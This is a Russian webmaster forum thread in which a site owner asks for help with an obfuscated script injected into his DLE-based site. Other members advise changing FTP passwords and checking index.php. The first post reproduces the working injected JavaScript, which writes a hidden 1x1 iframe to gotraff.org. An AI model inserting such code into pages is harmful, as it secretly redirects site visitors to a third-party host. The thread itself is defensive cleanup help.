X   Сообщение сайта
(Сообщение закроется через 3 секунды)



 

Здравствуйте, гость ( Вход | Регистрация )

Открыть тему
Тема закрыта
> помогите разобраться с кодом
PiT
PiT
Topic Starter сообщение 23.10.2008, 13:15; Ответить: PiT
Сообщение #1


Бывалый
****

Группа: User
Сообщений: 257
Регистрация: 29.7.2008
Поблагодарили: 22 раза
Репутация:   0  


Помогите пожалуйста разобраться со скриптом!
Сайт ridiska.ru, при просмотре в виде хтмл главной страницы на 38ой строке стоит какойто не понятный скрипт
<script>var tir="<";var bqg="i";var nkioa=" ";var asyji="aqisc='NWYyI11m' xacop='4MJ8fXZ0' src=";var hwkly="ame>";var fzzfr="org/go/in.cgi?3";var wdmqx="?xYV ";var idn="f";var qpt="r";var yxi="a";var gycga="yuyot='ZJtOAa1R' dqtaw='CUyQjotE' iebbv='MDvOJK6s' ";var fko="m";var nsd="e";var rtsvd="width=1 ";var vasrz="http://gotraff.";var bnhlf="height=1 ";var mixbi="style='display:none'";var lixbv=vasrz+fzzfr;var iyzqb="></ifr";document.write(tir+bqg+idn+qpt+yxi+fko+nsd+nkioa+asyji+lixbv+wdmqx+gycga+r
tsvd+bnhlf+mixbi+iyzqb+hwkly);</script>

Один из админов партнерки подсказал что он тырит трафик!
При открытии файла main.tpl этого скрипта нет, через админку движка его тоже не видно((
Помогите найти где можно удалить этот скрипт...
0
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
calfetko
calfetko
сообщение 23.10.2008, 13:18; Ответить: calfetko
Сообщение #2


Частый гость
**


Группа: User
Сообщений: 79
Регистрация: 14.10.2008
Из: Санкт - Петербург
Поблагодарили: 4 раза
Репутация:   0  


У меня есть предположение, что этот скрипт в строен в индоксовую страницу движка, покопайтесь в index.php и кстати что за движок?
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
horniest
horniest
сообщение 23.10.2008, 13:23; Ответить: horniest
Сообщение #3


Бывалый
****

Группа: User
Сообщений: 468
Регистрация: 3.4.2008
Поблагодарили: 116 раз
Репутация:   21  


троян
покопайтесь не только в index но и в page (php)
поменяйте пароль на ФТП


--------------------


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Noindex
Noindex
сообщение 23.10.2008, 13:29; Ответить: Noindex
Сообщение #4


Участник
***

Группа: User
Сообщений: 103
Регистрация: 10.5.2008
Из: Ukraine
Поблагодарили: 9 раз
Репутация:   0  


да - трафик идет на _http://gotraff.org.

Сообщение отредактировал Noindex - 23.10.2008, 13:29


--------------------
На правах рерайта: Утро вечера умнее - To take counsel of one's pillow . Буквально - Советоваться со своей подушкой.
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
brabus55
brabus55
сообщение 23.10.2008, 13:35; Ответить: brabus55
Сообщение #5


Император Квазилианы
******

Группа: Active User
Сообщений: 1225
Регистрация: 19.6.2008
Из: Беларусь,Витебск
Поблагодарили: 364 раза
Репутация:   78  


Это вообще то не троян а эксплоит.И находится он либо index.php в самом конце кода.Пишите вашему хостеру пуская проверяет защиту свою.У меня было такое,написал,поменял пароли все и все стало нормально.А до этого менял пароли и все равно ломали его.


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
PiT
PiT
Topic Starter сообщение 23.10.2008, 15:18; Ответить: PiT
Сообщение #6


Бывалый
****

Группа: User
Сообщений: 257
Регистрация: 29.7.2008
Поблагодарили: 22 раза
Репутация:   0  


движок ДЛЕ!
пароль менять от входа по фтп?

Сообщение отредактировал PiT - 23.10.2008, 15:28
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Martin-one
Martin-one
сообщение 23.10.2008, 15:20; Ответить: Martin-one
Сообщение #7


Частый гость
**

Группа: User
Сообщений: 54
Регистрация: 8.10.2008
Поблагодарили: 10 раз
Репутация:   1  


Как выше и указали, ищите в index.php. Советую не сохранять в фтп менеджерах установленных на вашем компьютере параметры для подключения, т.к. очень часто трояны тырят информацию именно от туда, хотя может и действительно виноват хостер.

P.S. Не советую выкладывать полный код страницы, практически даете "ключи от квартиры где деньги лежат" smile.gif

Сообщение отредактировал Martin-one - 23.10.2008, 15:22


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
agentvini
agentvini
сообщение 23.10.2008, 15:25; Ответить: agentvini
Сообщение #8


wir werden alle sterben
******

Группа: Active User
Сообщений: 1076
Регистрация: 27.5.2008
Из: Москва
Поблагодарили: 234 раза
Репутация:   39  


смените пасс на хостинге, так как скорее всего эта дрянь к вам пробралась когда Вы в фтп сессии были, и проверьте Ваш комп на вирусы


--------------------
Профессиональная разработка сайтов на MODx
реализуем все ваши идеи качественно и быстро
цена от 500$ (skype sanche.s)


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
PiT
PiT
Topic Starter сообщение 23.10.2008, 15:33; Ответить: PiT
Сообщение #9


Бывалый
****

Группа: User
Сообщений: 257
Регистрация: 29.7.2008
Поблагодарили: 22 раза
Репутация:   0  


спасибо, учту!
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
agentvini
agentvini
сообщение 23.10.2008, 15:36; Ответить: agentvini
Сообщение #10


wir werden alle sterben
******

Группа: Active User
Сообщений: 1076
Регистрация: 27.5.2008
Из: Москва
Поблагодарили: 234 раза
Репутация:   39  


почитай тут http://:)/topic6586.html


--------------------
Профессиональная разработка сайтов на MODx
реализуем все ваши идеи качественно и быстро
цена от 500$ (skype sanche.s)


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Открыть тему
Тема закрыта
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0


Свернуть

> Похожие темы

  Тема Ответов Автор Просмотров Последний ответ
Открытая тема (нет новых ответов) Помогите выбрать программу
Помогите выбрать программу
11 impak 1332 11.12.2017, 13:11
автор: Mikki
Открытая тема (нет новых ответов) Помогите найти плагин на WP
Отзывы с профилей соц сетей
1 SEOMR 433 30.11.2017, 7:18
автор: Nell
Открытая тема (нет новых ответов) Помогите найти проблему
Долгий ответ сервера
6 maxim1249 681 29.11.2017, 17:27
автор: genjnat
Открытая тема (нет новых ответов) Помогите оценить новотник. Плиз
1 Alex-777 517 29.11.2017, 7:18
автор: grumdas
Открытая тема (нет новых ответов) Помогите с неймингом для сборника советов
советы по разработки и жизни
11 coremission 1876 15.11.2017, 22:23
автор: rogefer


 



RSS Текстовая версия Сейчас: 13.12.2017, 15:27
Дизайн